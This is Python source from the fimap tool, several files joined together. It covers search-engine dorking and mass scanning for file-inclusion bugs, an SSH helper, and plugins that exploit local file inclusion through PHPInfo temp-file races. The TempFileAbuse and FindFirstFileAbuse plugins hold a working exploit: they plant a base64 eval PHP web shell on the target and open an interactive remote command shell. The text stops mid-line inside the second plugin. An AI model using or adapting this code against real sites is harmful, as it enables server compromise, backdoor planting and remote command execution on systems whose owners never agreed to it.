3. Scan Google search results for FI errors:" print " ./fimap.py -g -q 'inurl:include.php'" print " 4. Harvest all links of a webpage with recurse level of 3 and" print " write the URLs to /tmp/urllist" print " ./fimap.py -H -u 'http://localhost' -d 3 -w /tmp/urllist" if (AndQuit): sys.exit(0) def show_credits(): print "## Credits:" print "## Developer: Iman Karim(ikarim2s@smail.inf.fh-brs.de)" print "#" print "## Project Home: http://fimap.googlecode.com" print "#" print "## Additional Thanks to:" print " - Peteris Krumins (peter@catonmat.net) for xgoogle python module." print " - Pentestmonkey from www.pentestmonkey.net for php-reverse-shell." print " - Crummy from www.crummy.com for BeautifulSoup." print " - zeth0 from commandline.org.uk for ssh.py." sys.exit(0) def show_greetings(): print "## Greetings to the Circle of Awesome People:" print "(alphabetically)" print " - Alpina" print " - Chicano" print " - Exorzist" print " - IngoWer" print " - Invisible" print " - Maelius" print " - MarcosKhan" print " - Martinius" print " - MorbiusPrime" print " - Ruun" print " - Satyros" print " - Yasmin" print " Special Greetings to the whole Netherlands." sys.exit(0) def show_ip(): print "Heading to 'http://85.214.72.67/show_my_ip'..." print "----------------------------------------------" tester = codeinjector(config) result = tester.doGetRequest("http://85.214.72.67/show_my_ip") if (result == None): print "result = None -> Failed! Maybe you have no connection or bad proxy?" sys.exit(1) print result.strip() sys.exit(0) def list_results(lst = os.path.join(os.path.expanduser("~"), "fimap_result.xml"), onlyExploitable=True): if (not os.path.exists(lst)): print "File not found! ~/fimap_result.xml" sys.exit(1) c = codeinjector(config) c.start(onlyExploitable) sys.exit(0) def show_report(): if (len(baseClass.new_stuff.items()) > 0): print "New FI Bugs found in this session:" for k,v in baseClass.new_stuff.items(): print "\t- %d (probably) usable FI-Bugs on '%s'."%(v, k) if __name__ == "__main__": config["p_url"] = None config["p_mode"] = 0 # 0=single ; 1=mass ; 2=google ; 3=crawl ; 4=autoawesome ; 5=bing config["p_list"] = None config["p_verbose"] = 2 config["p_useragent"] = "fimap.googlecode.com/v%s" %__version__ config["p_pages"] = 10 config["p_query"] = None config["p_exploit_filter"] = "" config["p_write"] = None config["p_depth"] = 1 config["p_maxtries"] = 5 config["p_skippages"] = 0 config["p_monkeymode"] = False config["p_doDotTruncation"] = False config["p_dot_trunc_min"] = 700 config["p_dot_trunc_max"] = 2000 config["p_dot_trunc_step"] = 50 config["p_dot_trunc_ratio"] = 0.095 config["p_dot_trunc_only_win"] = True config["p_proxy"] = None config["p_ttl"] = 30 config["p_post"] = "" config["p_autolang"] = True config["p_color"] = False config["p_mergexml"] = None config["p_results_per_query"] = 100 config["p_googlesleep"] = 5 config["p_tabcomplete"] = False config["p_multiply_term"] = 1 config["header"] = {} config["force-run"] = False config["force-os"] = None config["p_rfi_encode"] = None config["p_skiponerror"] = False config["p_exploit_domain"] = None config["p_exploit_payload"] = None config["p_exploit_script_id"] = None config["p_exploit_cmds"] = None config["p_bingkey"] = None doPluginsShow = False doRFITest = False doInternetInfo = False doInstallPlugins = False doUpdateDef = False doMergeXML = False blind_min = None blind_max = None print head if (len(sys.argv) == 1): #show_help(True) print "Use -h for some help." sys.exit(0) try: longSwitches = ["url=" , "mass" , "single" , "list=" , "verbose=" , "help", "user-agent=" , "query=" , "google" , "pages=" , "credits" , "exploit", "harvest" , "write=" , "depth=" , "greetings" , "test-rfi" , "skip-pages=", "show-my-ip" , "enable-blind", "http-proxy=" , "ttl=" , "post=" , "no-auto-detect", "plugins" , "enable-color", "update-def" , "merge-xml=" , "install-plugins" , "results=", "googlesleep=" , "dot-truncation", "dot-trunc-min=", "dot-trunc-max=", "dot-trunc-step=", "dot-trunc-ratio=", "tab-complete" , "cookie=" , "bmin=" , "bmax=" , "dot-trunc-also-unix", "multiply-term=", "autoawesome" , "force-run" , "force-os=" , "rfi-encoder=", "header=", "bing", "x-host=", "x-cmd=", "x-vuln=", "bingkey="] optlist, args = getopt.getopt(sys.argv[1:], "u:msl:v:hA:gq:p:sxXHw:d:bP:CIDTM:4R:B", longSwitches) startExploiter = False showOnlyExploitable = True for k,v in optlist: if (k in ("-u", "--url")): config["p_url"] = v if (k in ("-s", "--single")): config["p_mode"] = 0 if (k in ("-m", "--mass")): config["p_mode"] = 1 if (k in ("-g", "--google")): config["p_mode"] = 2 if (k in ("-H", "--harvest")): config["p_mode"] = 3 if (k in ("-4", "--autoawesome")): config["p_mode"] = 4 if (k in ("-B", "--bing")): config["p_mode"] = 5 if (k in ("-l", "--list")): config["p_list"] = v if (k in ("-q", "--query")): config["p_query"] = v if (k in ("-v", "--verbose")): config["p_verbose"] = int(v) if (k in ("-p", "--pages")): config["p_pages"] = int(v) if (k in ("--results",)): config["p_results_per_query"] = int(v) if (k in ("--googlesleep",)): config["p_googlesleep"] = int(v) if (k in ("-A", "--user-agent")): config["p_useragent"] = v if (k in ("--http-proxy",)): config["p_proxy"] = v if (k in ("-w", "--write")): config["p_write"] = v if (k in ("-d", "--depth")): config["p_depth"] = int(v) if (k in ("--ttl",)): config["p_ttl"] = int(v) if (k in ("-h", "--help")): show_help(True) if (k in ("--test-rfi",)): doRFITest = True if (k in ("-b", "--enable-blind")): config["p_monkeymode"] = True if (k in ("-D", "--dot-truncation")): config["p_doDotTruncation"] = True if (k in ("-C", "--enable-color")): config["p_color"] = True if (k in ("--skip-pages",)): config["p_skippages"] = int(v) if (k in("--credits",)): show_credits() if (k in ("--greetings",)): show_greetings() if (k in ("--show-my-ip",)): doInternetInfo = True if (k in("-x", "--exploit")): startExploiter = True if (k in("-X",)): startExploiter = True showOnlyExploitable = False if (k in ("-P", "--post")): config["p_post"] = v if (k in ("--no-auto-detect", )): config["p_autolang"] = False if (k in ("--plugins",)): doPluginsShow = True if (k in ("-I", "--install-plugins")): doInstallPlugins = True if (k in ("--update-def",)): doUpdateDef = True if (k in ("--merge-xml",)): doMergeXML = True config["p_mergexml"] = v if (k in ("--dot-trunc-min",)): config["p_dot_trunc_min"] = int(v) if (k in ("--dot-trunc-max",)): config["p_dot_trunc_max"] = int(v) if (k in ("--dot-trunc-step",)): config["p_dot_trunc_step"] = int(v) if (k in ("--dot-trunc-ratio",)): config["p_dot_trunc_ratio"] = float(v) if (k in ("--dot-trunc-also-unix",)): config["p_dot_trunc_only_win"] = False if (k in ("-T", "--tab-complete")): config["p_tabcomplete"] = True if (k in ("-M", "--multiply-term")): config["p_multiply_term"] = int(v) if (k in ("--cookie",)): config["header"]["Cookie"] = v if (k in ("--header",)): head = None value = "" if (v.find(":") == -1): head = v else: head = v.split(":")[0] value = ":".join(v.split(":")[1:]) config["header"][head] = value if (k in ("--bmin",)): blind_min = int(v) if (k in ("--bmax",)): blind_max = int(v) if (k in ("--force-run",)): config["force-run"] = True if (k in ("--force-os",)): config["force-os"] = v if (k in ("--rfi-encoder")): config["p_rfi_encode"] = v if (k in ("--x-host",)): config["p_exploit_domain"] = v if (k in ("--x-cmd",)): if (config["p_exploit_cmds"] == None): config["p_exploit_cmds"] = [] config["p_exploit_cmds"].append(v) if (k in ("--x-vuln",)): config["p_exploit_script_id"] = int(v) if (k in ("--bingkey",)): config["p_bingkey"] = v #if (k in("-f", "--exploit-filter")): # config["p_exploit_filter"] = v xmlsettings = language.XML2Config(config) # Ape style lockfile. But it works! :) lockFound = False curlockfile = None for f in os.listdir(tempfile.gettempdir()): if f.startswith("fimap_") and f.endswith("_lockfile"): lockFound = True curlockfile = f break if (lockFound): if (config["force-run"] == True): print "Another fimap instance is running! But you requested to ignore that..." else: print "Another fimap instance is already running!" print "If you think this is not correct please delete the following file:" print "-> " + os.path.join(tempfile.gettempdir(), curlockfile) print "or start fimap with '--force-run' on your own risk." sys.exit(0) else: lockfile = tempfile.NamedTemporaryFile(prefix="fimap_", suffix="_lockfile") # Setup possibly changed engine settings. if (blind_min != None): xmlsettings.blind_min = blind_min print "Overwriting 'blind_min' setting to %s..." %(blind_min) if (blind_max != None): xmlsettings.blind_max = blind_max print "Overwriting 'blind_max' setting to %s..." %(blind_max) config["XML2CONFIG"] = xmlsettings plugman = plugininterface(config) config["PLUGINMANAGER"] = plugman if startExploiter: try: list_results(onlyExploitable=showOnlyExploitable) except KeyboardInterrupt: print "\n\nYou killed me brutally. Wtf!\n\n" sys.exit(0) except getopt.GetoptError, err: print (err) sys.exit(1) if (doUpdateDef): xmlconfig = config["XML2CONFIG"] tools = baseTools.baseTools() tester = codeinjector(config) print "Checking for definition file updates..." #print "Testing 'generic.xml'..." generic_xml_ver = xmlconfig.getVersion() # Get generic.xml from SVN repository and parse out its version. generic_xml_online = tester.doGetRequest(defupdateurl + "generic.xml") if generic_xml_online == None: print "Failed to check generic_xml. Are you online?" sys.exit(1) tmpFile = tempfile.mkstemp()[1] + ".xml" f = open(tmpFile, "w") f.write(generic_xml_online) f.close() generic_xml_ver_online = tools.getAttributeFromFirstNode(tmpFile, "revision") if (generic_xml_ver < generic_xml_ver_online): print "'generic.xml' (v.%s) is older than the online version (v.%s)!" %(generic_xml_ver, generic_xml_ver_online) tools.suggest_update(xmlconfig.getRealFile(), tmpFile) else: print "'generic.xml' is up-to-date." print "Testing language sets defined in 'generic.xml'..." langsets = xmlconfig.getAllLangSets() for name, langclass in langsets.items(): fname = os.path.basename(langclass.getLangFile()) #print "Testing language '%s' for updates..." %(fname) langurl = defupdateurl + fname # Download and save XML from SVN repository. xml_content = tester.doGetRequest(langurl) if (xml_content != None): tmpFile = tempfile.mkstemp()[1] + ".xml" f = open(tmpFile, "w") f.write(xml_content) f.close() # Parse out version number. version_online = tools.getAttributeFromFirstNode(tmpFile, "revision") # Get installed version. version = langclass.getVersion() if (version < version_online): print "'%s' (v.%s) is older than the online version (v.%s)!" %(fname, version, version_online) tools.suggest_update(langclass.getLangFile(), tmpFile) else: print "'%s' is up-to-date." %(fname) else: print "Failed to check '%s'!" %(fname) sys.exit(1) if (doInstallPlugins): print "Requesting list of plugins..." tester = codeinjector(config) result = tester.doGetRequest(pluginlist) if result == None: print "Failed to request plugins! Are you online?" sys.exit(1) choice = {} idx = 1 for line in result.split("\n"): tokens = line.split("|") label = tokens[0].strip() name = tokens[1].strip() version = int(tokens[2].strip()) url = tokens[3].strip() choice[idx] = (label, name, version, url) idx += 1 pluginman = config["PLUGINMANAGER"] tools = baseTools.baseTools() header = "LIST OF TRUSTED PLUGINS" boxarr = [] for k,(l,n,v,u) in choice.items(): instver = pluginman.getPluginVersion(n) if (instver == None): boxarr.append("[%d] %s - At version %d not installed." %(k, l, v)) elif (instver < v): boxarr.append("[%d] %s - At version %d has an UPDATE." %(k, l, v)) else: boxarr.append("[%d] %s - At version %d is up-to-date and installed." %(k, l, v)) boxarr.append("[q] Cancel and Quit.") tools.drawBox(header, boxarr, False) nr = None nr = raw_input("Choose a plugin to install: ") if (nr != "q"): (l,n,v,u) = choice[int(nr)] print "Downloading plugin '%s' (%s)..." %(n, u) plugin = tester.doGetRequest(u) if (plugin != None): tmpFile = tempfile.mkstemp()[1] + ".tar.gz" f = open(tmpFile, "wb") f.write(plugin) f.close() print "Unpacking plugin..." try: tar = tarfile.open(tmpFile, 'r:gz') tmpdir = tempfile.mkdtemp() tar.extractall(tmpdir) pluginxml = os.path.join(tmpdir, n, "plugin.xml") pluginsdir = os.path.join(sys.path[0], "plugins") if (os.path.exists(pluginxml)): info = pluginXMLInfo(pluginxml) ver = pluginman.getPluginVersion(info.getStartupClass()) if (ver != None): inp = "" if (ver > info.getVersion()): inp = raw_input("Do you really want to downgrade this plugin? [y/N]") elif (ver == info.getVersion()): inp = raw_input("Do you really want to reinstall this plugin? [y/N]") if (inp == "Y" or inp == "y"): dir = info.getStartupClass() deldir = os.path.join(pluginsdir, dir) print "Deleting old plugin directory..." shutil.rmtree(deldir) else: print "OK aborting..." sys.exit(0) tar.extractall(os.path.join(pluginsdir)) print "Plugin '%s' installed successfully!" %(info.getName()) else: print "Plugin doesn't have a plugin.xml! (%s)" %pluginxml sys.exit(1) except: print "Unpacking failed!" #sys.exit(0) else: print "Failed to download plugin package!" sys.exit(0) if (doPluginsShow): plugins = config["PLUGINMANAGER"].getAllPluginObjects() if (len(plugins) > 0): for plug in plugins: print "[Plugin: %s] by %s (%s)" %(plug.getPluginName(), plug.getPluginAutor(), plug.getPluginEmail()) else: print "No plugins :T" sys.exit(0) if (doMergeXML): tester = codeinjector(config) newVulns, newDomains = tester.mergeXML(config["p_mergexml"]) print "%d new vulnerabilitys added from %d new domains." %(newVulns, newDomains) sys.exit(0) # Upgrade XML if needed... bc = baseClass.baseClass(config) bc.testIfXMLIsOldSchool() if (doRFITest): injector = codeinjector(config) injector.testRFI() sys.exit(0) else: # Test RFI settings stupidly. from config import settings if settings["dynamic_rfi"]["mode"] == "local": if settings["dynamic_rfi"]["local"]["local_path"] == None or settings["dynamic_rfi"]["local"]["http_map"] == None: print "Invalid Dynamic_RFI config!" print "local_path and\\or http_map is not defined for local mode!" print "Fix that in config.py" sys.exit(1) elif settings["dynamic_rfi"]["mode"] == "ftp": if settings["dynamic_rfi"]["ftp"]["ftp_host"] == None or settings["dynamic_rfi"]["ftp"]["ftp_user"] == None or settings["dynamic_rfi"]["ftp"]["ftp_pass"] == None or settings["dynamic_rfi"]["ftp"]["ftp_path"] == None or settings["dynamic_rfi"]["ftp"]["http_map"] == None: print "Invalid Dynamic_RFI config!" print "One of your FTP config values is missing!" print "Fix that in config.py" sys.exit(1) if (config["p_proxy"] != None): print "Using HTTP-Proxy '%s'." %(config["p_proxy"]) if (doInternetInfo): show_ip() # BING CURRENTLY BROKEN if (config["p_mode"] == 5): print "\n\n\n" print "I am sorry bro but bing is currently broken." print "Try getting the links yourself and use MassMode(-m) for now." print "Sorry champ :(" sys.exit(0) if (config["p_url"] == None and config["p_mode"] == 0): print "Target URL required. (-u)" sys.exit(1) if (config["p_list"] == None and config["p_mode"] == 1): print "URLList required. (-l)" sys.exit(1) if (config["p_query"] == None and config["p_mode"] == 2): print "Google Query required. (-q)" sys.exit(1) if (config["p_query"] == None and config["p_mode"] == 5): print "Bing Query required. (-q)" sys.exit(1) if (config["p_bingkey"] == None and config["p_mode"] == 5): print "Bing APIKey required. (--bingkey)" sys.exit(1) if (config["p_url"] == None and config["p_mode"] == 3): print "Start URL required for harvesting. (-u)" sys.exit(1) if (config["p_write"] == None and config["p_mode"] == 3): print "Output file to write the URLs to is needed in Harvest Mode. (-w)" sys.exit(1) if (config["p_url"] == None and config["p_mode"] == 4): print "Root URL required for AutoAwesome. (-u)" sys.exit(1) if (config["p_monkeymode"] == True): print "Blind FI-error checking enabled." if (config["force-os"] != None): if (config["force-os"] != "unix" and config["force-os"] != "windows"): print "Invalid parameter for 'force-os'." print "Only 'unix' or 'windows' are allowed!" sys.exit(1) try: if (config["p_mode"] == 0): single = singleScan(config) single.setURL(config["p_url"]) single.scan() elif(config["p_mode"] == 1): if (not os.path.exists(config["p_list"])): print "Your defined URL-List doesn't exist: '%s'" %config["p_list"] sys.exit(0) print "MassScanner is loading URLs from file: '%s'" %config["p_list"] m = massScan(config) m.startMassScan() show_report() elif(config["p_mode"] == 2): print "GoogleScanner is searching for Query: '%s'" %config["p_query"] g = googleScan(config) g.startGoogleScan() show_report() elif(config["p_mode"] == 3): print "Crawler is harvesting URLs from start URL: '%s' with depth: %d and writing results to: '%s'" %(config["p_url"], config["p_depth"], config["p_write"]) c = crawler(config) c.crawl() elif(config["p_mode"] == 4): print "AutoAwesome mode engaging URL '%s'..." %(config["p_url"]) awe = autoawesome.autoawesome(config) awe.setURL(config["p_url"]) awe.scan() elif(config["p_mode"] == 5): print "BingScanner is searching for Query: '%s'" %config["p_query"] b = bingScan(config) b.startGoogleScan() show_report() except KeyboardInterrupt: print "\n\nYou have terminated me :(" except Exception, err: print "\n\n========= CONGRATULATIONS! =========" print "You have just found a bug!" print "If you are cool, send the following stacktrace to the bugtracker on http://fimap.googlecode.com/" print "Please also provide the URL where fimap crashed." raw_input("Push enter to see the stacktrace...") print "cut here %<--------------------------------------------------------------" print "Exception: %s" %err raise
Python
"""Friendly Python SSH2 interface.""" """By zeth0 from http://commandline.org.uk/""" import os import tempfile paramikoInstalled = True try: import paramiko except: print "SSH functionallity disabled because paramiko is not installed!" paramikoInstalled = False class Connection(object): """Connects and logs into the specified hostname. Arguments that are not given are guessed from the environment.""" def __init__(self, host, username = None, private_key = None, password = None, port = 22, ): self._sftp_live = False self._sftp = None if not username: username = os.environ['LOGNAME'] # Log to a temporary file. templog = tempfile.mkstemp('.txt', 'ssh-')[1] paramiko.util.log_to_file(templog) # Begin the SSH transport. self._transport = paramiko.Transport((host, port)) self._tranport_live = True # Authenticate the transport. if password: # Using Password. self._transport.connect(username = username, password = password) else: # Use Private Key. if not private_key: # Try to use default key. if os.path.exists(os.path.expanduser('~/.ssh/id_rsa')): private_key = '~/.ssh/id_rsa' elif os.path.exists(os.path.expanduser('~/.ssh/id_dsa')): private_key = '~/.ssh/id_dsa' else: raise TypeError, "You have not specified a password or key." private_key_file = os.path.expanduser(private_key) rsa_key = paramiko.RSAKey.from_private_key_file(private_key_file) self._transport.connect(username = username, pkey = rsa_key) def _sftp_connect(self): """Establish the SFTP connection.""" if not self._sftp_live: self._sftp = paramiko.SFTPClient.from_transport(self._transport) self._sftp_live = True def get(self, remotepath, localpath = None): """Copies a file between the remote host and the local host.""" if not localpath: localpath = os.path.split(remotepath)[1] self._sftp_connect() self._sftp.get(remotepath, localpath) def put(self, localpath, remotepath = None): """Copies a file between the local host and the remote host.""" if not remotepath: remotepath = os.path.split(localpath)[1] self._sftp_connect() self._sftp.put(localpath, remotepath) def execute(self, command): """Execute the given commands on a remote machine.""" channel = self._transport.open_session() channel.exec_command(command) output = channel.makefile('rb', -1).readlines() if output: return output else: return channel.makefile_stderr('rb', -1).readlines() def close(self): """Closes the connection and cleans up.""" # Close SFTP Connection. if self._sftp_live: self._sftp.close() self._sftp_live = False # Close the SSH Transport. if self._tranport_live: self._transport.close() self._tranport_live = False def __del__(self): """Attempt to clean up if not explicitly closed.""" self.close() def main(): """Little test when called directly.""" # Set these to your own details. myssh = Connection('example.com') myssh.put('ssh.py') myssh.close() # start the ball rolling. if __name__ == "__main__": main()
Python
from plugininterface import basePlugin # This plugin is based on Insomnia Security's Whitepaper: # http://www.insomniasec.com/publications/LFI%20With%20PHPInfo%20Assistance.pdf # # Plugin by Iman Karim <fimap.dev@gmail.com> # License: GPLv2 import urlparse, re, socket, threading, base64, urllib, string, random class TempFileAbuse(basePlugin): egg = "/tmp/eggdrop" phpinfourl = "" maxAttempts = 5000 maxThreads = 10 trashFactor = 3000 def plugin_init(self): self.display = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(32)) self.evalshell = "<?php $var=\"data\"; if (isset($var)){eval(base64_decode($_POST[$var]));} ?>" self.payload = "<?php $c=fopen('%s', 'w'); fwrite($c, '%s'); fclose($c); echo '%s' ?>" %(self.egg, self.evalshell, self.display) self.FILE_DATA = "-----------------------------58239048594367238956\r\n" self.FILE_DATA += "Content-Disposition: form-data; name=\"datafile\"; filename=\"trash.txt\"\r\n" self.FILE_DATA += "Content-Type: text/plain\r\n" self.FILE_DATA += "\r\n" self.FILE_DATA += "%s\n" %(self.payload) self.FILE_DATA += "\r\n-----------------------------58239048594367238956--\r\n" self.HTTP_DATA = "POST __PATH__?a=__TRASH__ HTTP/1.1\r\n" self.HTTP_DATA += "Host: __HOST__\r\n" self.HTTP_DATA += "Cookie: SOMECOOKIE=__TRASH__; SOMECOOKIE2=__TRASH__\r\n" self.HTTP_DATA += "HTTP_ACCEPT: __TRASH__\r\n" self.HTTP_DATA += "HTTP_USER_AGENT: __TRASH__\r\n" self.HTTP_DATA += "HTTP_ACCEPT_LANGUAGE: __TRASH__\r\n" self.HTTP_DATA += "HTTP_PRAGMA: __TRASH__\r\n" self.HTTP_DATA += "Content-Type: multipart/form-data; boundary=---------------------------58239048594367238956\r\n" self.HTTP_DATA += "Content-Length: %s\r\n" %str(len(self.FILE_DATA)) self.HTTP_DATA += "\r\n" self.HTTP_DATA += self.FILE_DATA def plugin_loaded(self): # This function will be called if all plugins are loaded. pass def plugin_exploit_modes_requested(self, langClass, isSystem, isUnix): return([]) def plugin_fallback_modes_requested(self, langClass): ret = [] if (langClass.getName() == "PHP"): self.lang = langClass ret.append(("Launch Coldwind/Insomnia Glitch...", "TempFileAbuse.hax")) return(ret) def plugin_callback_handler(self, callbackstring, haxhelper): if (callbackstring == "TempFileAbuse.hax"): print "-----------------------------------------------------------------------------" print "This plugin wouldn't be possible without the hard research of" print " Gynvael Coldwind (http://gynvael.coldwind.pl)" print " and" print " Insomnia Security (http://insomniasec.com)" print "since it's based on this paper:" print "http://www.insomniasec.com/publications/LFI%20With%20PHPInfo%20Assistance.pdf" print "-----------------------------------------------------------------------------" inp = -1 while(inp != "q" and inp != "Q"): options = [] urlDisplay = self.phpinfourl if (urlDisplay == ""): urlDisplay = "<None - Define one!>" options.append("1. Enter URL of PHPInfo()") options.append("2. AutoProbe for PHPInfo()") options.append(" Current URL: %s" %(urlDisplay)) options.append("3. Change number of attempts (Current: %d)" %(self.maxAttempts)) options.append("4. Change number of threads (Current: %d)" %(self.maxThreads)) options.append("5. Change eggdrop location (Current: %s)" %(self.egg)) options.append("6. Change number of trash to append (Current: %s)" %(self.trashFactor)) options.append("7. Launch attack") options.append("q. Back to fimap") haxhelper.drawBox("PHPInfo Coldwind/Insomnia Glitch", options) inp = raw_input("Choose action: ") try: idx = int(inp) if (idx == 1): self.phpinfourl = raw_input("Please type in the complete URL of the PHPInfo() file: ") print "PHPInfo() URL changed to: %s" %(self.phpinfourl) elif (idx == 2): print "AutoProbe not implemented right now :(" elif (idx == 3): tmp = raw_input("Please type in the number of attempts you wish: ") try: n = int(tmp) if (n <= 0): print "WTH. Zero or less attempts are not smart bro." else: self.maxAttempts = n print "MaxAttempts changed to: %s" %(self.maxAttemps) except: print "Invalid number." elif (idx == 4): tmp = raw_input("Please type in the number of threads you wish: ") try: n = int(tmp) if (n <= 0): print "WTH. Zero or less threads are not smart bro." else: self.maxThreads = n print "MaxThreads changed to: %s" %(self.maxThreads) except: print "Invalid number." if (idx == 5): self.egg = raw_input("Please type location where to try to drop the egg: ") print "EggDrop location changed to: %s" %(self.egg) elif (idx == 6): tmp = raw_input("Please type in the number of trash to append: ") try: n = int(tmp) if (n < 0): print "WTH. Less than zero trash is not possible. Trust me I tried it hard." else: self.trashFactor = n print "TrashFactor changed to: %s" %(self.trashFactor) except: print "Invalid number." if (idx == 7): if (self.phpinfourl != None and self.phpinfourl != ""): print "Checking if the URL you provided is really a PHPInfo file..." code = self.doGetRequest(self.phpinfourl) if (code.find("alt=\"PHP Logo\"") == -1): print "The URL '%s' is not a PHP info file! :(" %(self.phpinfourl) return print "Launching attack..." if (self.createEgg(haxhelper)): # SUCCESSFULLY CREATED EVAL SHELL AT self.egg shell_banner = "fimap_eggshell> " lang = haxhelper.langClass quiz, answer = lang.generateQuiz() #Since it's eval'd we remove the stuff... quiz = quiz.replace("<?php", "") quiz = quiz.replace("?>", "") path, postdata, header, trash = haxhelper.getHaxDataForCustomFile(self.egg) domain = urlparse.urlsplit(self.phpinfourl)[1] url = urlparse.urljoin("http://" + domain, path) post = "" if (postdata != ""): post = postdata + "&" post += urllib.urlencode({"data": base64.b64encode(quiz)}) res = haxhelper.doRequest(url, post, header) if (res == answer): print "PHP Code Injection thru EggDrop works!" xmlconfig = haxhelper.parent_codeinjector.config["XML2CONFIG"] shellquiz, shellanswer = xmlconfig.generateShellQuiz(haxhelper.isUnix) shell_test_code = shellquiz shell_test_result = shellanswer for item in self.lang.getExecMethods(): name = item.getName() payload = None if (item.isUnix() and haxhelper.isUnix) or (item.isWindows() and not haxhelper.isUnix): self._log("Testing execution thru '%s'..."%(name), self.LOG_INFO) code = item.generatePayload(shell_test_code) code = code.replace("<?php", "") code = code.replace("?>", "") testload = urllib.urlencode({"data": base64.b64encode(code)}) if (postdata != ""): testload = "%s&%s" %(postdata, testload) code = self.doPostRequest(url, testload, header) if code != None and code.find(shell_test_result) != -1: working_shell = item self._log("Execution thru '%s' works!"%(name), self.LOG_ALWAYS) print "--------------------------------------------------------------------" print "Welcome to the fimap_eggshell!" print "This is a lite version of the fimap shell." print "Consider this shell as a temporary shell you should get rid of asap." print "Upload your own shell to be on the safe side." print "--------------------------------------------------------------------" payload = raw_input(shell_banner) while (payload != "q" and payload != "Q"): payload = item.generatePayload(payload) payload = payload.replace("<?php", "") payload = payload.replace("?>", "") payload = urllib.urlencode({"data": base64.b64encode(payload)}) if (postdata != ""): payload = "%s&%s" %(postdata, payload) code = self.doPostRequest(url, payload, header) print code payload = raw_input(shell_banner) return else: self._log("Skipping execution method '%s'..."%(name), self.LOG_DEBUG) else: print "PHP Code Injection thru EggDrop failed :(" return else: print "No PHPInfo() URL defined." except (ValueError): pass def createEgg(self, haxhelper): host = urlparse.urlsplit(self.phpinfourl)[1] path = urlparse.urlsplit(self.phpinfourl)[2] runningThreads = [] attempt = 1 success = False while (True): if(attempt > self.maxAttempts): break if (len(runningThreads) < self.maxThreads): content = self.HTTP_DATA trash = "A" * self.trashFactor content = content.replace("__TRASH__", trash) content = content.replace("__HOST__", host) content = content.replace("__PATH__", path) content = content.replace("__SIZE_OF_FILE__", str(len(self.payload))) content = content.replace("__FILE_CONTENT__", self.payload) newThread = ProbeThread(host, 80, content, haxhelper, self.display) runningThreads.append(newThread) newThread.start() #print "Thread Attempt %d started..." %(attempt) attempt+=1 else: for probe in runningThreads: if (probe.finished): runningThreads.remove(probe) if probe.foundShell: success = True break; if (success): print "Egg dropped successfully!" print "Waiting for remaining threads to finish..." while(len(runningThreads) > 0): for t in runningThreads: if t.finished: runningThreads.remove(t) print "Finished." return(success) class ProbeThread(threading.Thread): parseFileRegex="\\[tmp_name\\] =&gt; (/.*)" RE_SUCCESS_MSG = re.compile(parseFileRegex) def __init__(self, host, port, http_content, haxhelper, display): threading.Thread.__init__(self) self.finished = False self.foundShell = False self.host = host self.port = port self.content = http_content self.hax = haxhelper self.display = display def run(self): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #print "Connecting to %s:%s" %(self.host, self.port) sock.connect((self.host, self.port)) sock2.connect((self.host, self.port)) sock.send(self.content) receivedData = "" while(True): tmpData = sock.recv(4096) receivedData += tmpData if (receivedData.find("[tmp_name] =&gt") != -1): break if (tmpData == "") or tmpData.endswith("0\r\n\r\n"): break if (receivedData.find("[tmp_name] =&gt") == -1): print "File apperently not send?!?!" else: m = self.RE_SUCCESS_MSG.search(receivedData) if (m != None): tmpFile = m.group(1) egghunt = self.hax.getRawHTTPRequest(tmpFile) sock2.send(egghunt) receivedData = sock2.recv(2024) sock.close() sock2.close() if (receivedData.find(self.display) != -1): self.foundShell = True self.finished = True
Python
from plugininterface import basePlugin # Plugin by Iman Karim <fimap.dev@gmail.com> # License: GPLv2 import urlparse, socket, threading, base64, urllib, string, random, time class FindFirstFileAbuse(basePlugin): egg = "c:\\\\xampp\\\\tmp\\\\egg" remotetmpdir = "c:\\xampp\\tmp" maxAttempts = 5000 maxThreads = 50 def plugin_init(self): self.display = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(32)) self.evalshell = "<?php $var=\"data\"; if (isset($var)){eval(base64_decode($_POST[$var]));} ?>" self.payload = "<?php $c=fopen('%s', 'w'); fwrite($c, '%s'); fclose($c); echo '%s' ?>" %(self.egg, self.evalshell, self.display) self.lotteryTicket = "phpA<tmp"; self.FILE_DATA = "-----------------------------58239048594367238956\r\n" self.FILE_DATA += "Content-Disposition: form-data; name=\"datafile\"; filename=\"trash.txt\"\r\n" self.FILE_DATA += "Content-Type: text/plain\r\n" self.FILE_DATA += "\r\n" self.FILE_DATA += "%s\n" %(self.payload) self.FILE_DATA += "\r\n-----------------------------58239048594367238956--\r\n" self.HTTP_DATA = "POST __PATH____POST__ HTTP/1.1\r\n" self.HTTP_DATA += "Host: __HOST__\r\n" #self.HTTP_DATA += "Cookie: \r\n" self.HTTP_DATA += "HTTP_USER_AGENT: Firefox\r\n" #TODO: Implement real user agent. self.HTTP_DATA += "Content-Type: multipart/form-data; boundary=---------------------------58239048594367238956\r\n" self.HTTP_DATA += "Content-Length: %s\r\n" %str(len(self.FILE_DATA)) self.HTTP_DATA += "\r\n" self.HTTP_DATA += self.FILE_DATA def plugin_loaded(self): # This function will be called if all plugins are loaded. pass def plugin_exploit_modes_requested(self, langClass, isSystem, isUnix): return([]) def plugin_fallback_modes_requested(self, langClass): ret = [] if (langClass.getName() == "PHP"): self.lang = langClass ret.append(("Launch FindFirstFile Glitch (Windows only)...", "FindFirstFileAbuse.hax")) return(ret) def plugin_callback_handler(self, callbackstring, haxhelper): if (callbackstring == "FindFirstFileAbuse.hax"): inp = -1 while(inp != "q" and inp != "Q"): options = [] urlDisplay = self.remotetmpdir if (urlDisplay == ""): urlDisplay = "<None - Define one!>" options.append("1. Enter Path of TempDir") options.append("2. AutoProbe for TempDir") options.append(" Current TempDir: %s" %(urlDisplay)) options.append("3. Change number of attempts (Current: %d)" %(self.maxAttempts)) options.append("4. Change number of threads (Current: %d)" %(self.maxThreads)) options.append("5. Change eggdrop location (Current: %s)" %(self.egg)) options.append("6. Change your lottery ticket (Current: %s)" %(self.lotteryTicket)) options.append("7. Launch attack") options.append("0. WTF is this shit?") options.append("q. Back to fimap") haxhelper.drawBox("FindFirstFile Glitch", options) inp = raw_input("Choose action: ") try: idx = int(inp) if (idx == 1): self.remotetmpdir = raw_input("Please type in the complete URL of the Remote Temporary Directory: ") print "Remote Temporary Directory URL changed to: %s" %(self.remotetmpdir) elif (idx == 2): print "AutoProbe not implemented right now :(" elif (idx == 3): tmp = raw_input("Please type in the number of 